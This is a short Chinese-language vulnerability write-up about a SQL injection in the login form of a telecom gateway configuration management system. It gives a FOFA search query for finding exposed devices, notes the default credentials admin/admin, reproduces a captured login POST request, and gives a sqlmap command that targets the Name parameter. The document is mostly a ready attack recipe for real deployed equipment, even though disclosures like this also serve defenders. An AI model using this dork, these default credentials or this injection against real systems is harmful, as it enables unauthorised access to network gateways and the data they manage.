电信网关配置管理系统 SQL注入漏洞

漏洞描述

漏洞影响

FOFA

漏洞复现

漏洞描述

电信网关配置管理系统 前台登陆页面用户名参数存在SQL注入漏洞

漏洞影响

电信网关配置管理系统

FOFA

1 body="src=\"img/dl.gif\"" && title="系统登录"

漏洞复现

登录页面如下

电信网关配置管理



推荐使用浏览器: 360安全浏览器8.1版本极速模式,chrome 浏览器; 最低分辨率: 1024x768

设备存在默认弱口令 admin/admin



登录的请求包为

```
1 POST /manager/login.php HTTP/1.1
 2 Host: xxx.xxx.xxx.xxx
 3 Content-Length: 53
 4 Cache-Control: max-age=0
 5 Upgrade-Insecure-Requests: 1
 6 Content-Type: application/x-www-form-urlencoded
 7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKi
   t/537.36 (KHTML, like Gecko) Chrome/89.0.4389.128 Safari/537.36
 8 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,ima
   ge/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchan
   qe; v=b3; q=0.9
 9 Accept-Encoding: gzip, deflate
10 Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
11 Cookie: PHPSESSID=2lfi6enp5gehalrb92594c80i6
12 Connection: close
13
14 Name=admin&Pass=admin
```

保存为文件使用 Sqlmap工具, 注入点为 Name参数

```
1 sqlmap -r sql-1.txt -p Name --risk 3
```

實際安全

電院安全